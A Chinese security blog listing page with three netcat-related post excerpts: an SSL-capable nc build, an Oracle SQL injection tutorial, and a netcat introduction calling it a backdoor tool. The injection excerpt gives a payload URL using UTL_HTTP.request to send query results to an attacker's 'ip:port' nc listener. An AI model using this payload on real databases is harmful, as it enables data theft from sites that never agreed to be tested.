LZX改的NC，支持SSL

日期: 2009/08/17 分类: 技术杂文 标签: , 添加回复

作者：LZX

放出来时我改了下程序，加了句Welcome To http://t00ls.net
这个程序用了openssl，不喜欢跟随两个dll，所以openssl静态编译进去，所以比较大，最终好几百K
所以这个nc可以作为ssl的客户端，
比如gmail的安全性要求较高，smtp开始的对话是明文的，但在验证身份时就一定要切换到ssl协议，
下面演示了用这个程序登陆gmail的smtp，手工通过原始协议发送邮件给小腾，

阅读全文

Oracle注射技术——Oracle+nc注射

日期: 2009/05/05 分类: 技术杂文 标签: , , 添加回复

作者:Kindle
MSN :Kindle@live.cn
Blog:http://hi.baidu.com/system_exp
Team:反安全技术小组 (http://bbs.exploits.com.cn)

首先外网nc监听对应的端口

url语句简单如下所示：

http://www.exploits.com.cn/Kindle?jsp=1 and UTL_HTTP.request(‘外网ip:port/’||(sql语句))=1–

内容如下：

阅读全文

著名工具nc使用方法

日期: 2007/04/15 分类: 技术杂文 标签: , , 添加回复

netcat被誉为网络安全界的‘瑞士军刀’，相信没有什么人不认识它吧……
一个简单而有用的工具，透过使用TCP或UDP协议的网络 连接去读写数据。它被设计成一个稳定的后门工具， 能够直接由其它程序和脚本轻松驱动。同时，它也是一个功能强大的网络调试和探测工具，能够建立你需要的 几乎所有类型的网络连接，还有几个很有意思的内置功能(详情请看下面的使用方法)。

阅读全文